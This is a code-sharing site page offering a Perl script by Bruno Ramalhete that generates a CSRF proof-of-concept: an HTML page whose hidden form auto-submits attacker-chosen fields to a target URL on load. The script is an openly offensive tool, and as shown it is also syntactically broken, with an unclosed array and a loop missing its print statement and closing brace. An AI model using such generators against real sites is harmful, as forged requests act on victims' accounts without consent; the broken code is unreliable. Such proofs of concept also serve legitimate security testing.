VB icon

CSRF generator

Submitted on: 7/29/2016 3:08:30 PM
By: Bruno Ramalhete 
Level: Intermediate
User Rating: Unrated
Compatibility: 5.0 (all versions), 4.0 (all versions)
Views: 5665
author picture
     A Perl Script that is a CSRF PoC generator.
Can't Copy and Paste this?
Click here for a copy-and-paste friendly version of this code!
= Name: CSRF generator
= Description:A Perl Script that is a CSRF PoC generator.
= By: Bruno Ramalhete

# vim:ft=perl
# CSRF PoC generator
# (C) 2014 Bruno Ramalhete <bram.512@gmail.com>
use strict;
use warnings;
my $target = 'http://';
my @input = (
[ 'name1', 'value1' ],
[ 'name2', 'value2' ],
[ 'name3', 'value3' ]
my $len = scalar @input;
print "<html>\n";
print "<head>\n";
print "\t<script language=\"javascript\">\n";
print "\t\tfunction submitCSRF() {\n";
print "\t\t\tdocument.csrf.submit();\n";
print "\t\t}\n";
print "\t</script>\n";
print "</head>\n";
print "<body onload=\"submitCSRF()\">\n";
print "\t<form action=\"$target\" method=\"POST\" name=\"csrf\">\n";
for ( my $n = 0; $n < $len; $n++ ) {
"\t\t<input type=\"hidden\" name=\"$input[$n][0]\" value=\"$input[$n][1]\">\n";
print "\t</form>\n";
print "</body>\n";
print "</html>\n";

Other 3 submission(s) by this author


Report Bad Submission
Use this form to tell us if this entry should be deleted (i.e contains no code, is a virus, etc.).
This submission should be removed because:

Your Vote

What do you think of this code (in the Intermediate category)?
(The code with your highest vote will win this month's coding contest!)
Excellent  Good  Average  Below Average  Poor (See voting log ...)

Other User Comments

 There are no comments on this submission.

Add Your Feedback
Your feedback will be posted below and an email sent to the author. Please remember that the author was kind enough to share this with you, so any criticisms must be stated politely, or they will be deleted. (For feedback not related to this particular code, please click here instead.)

To post feedback, first please login.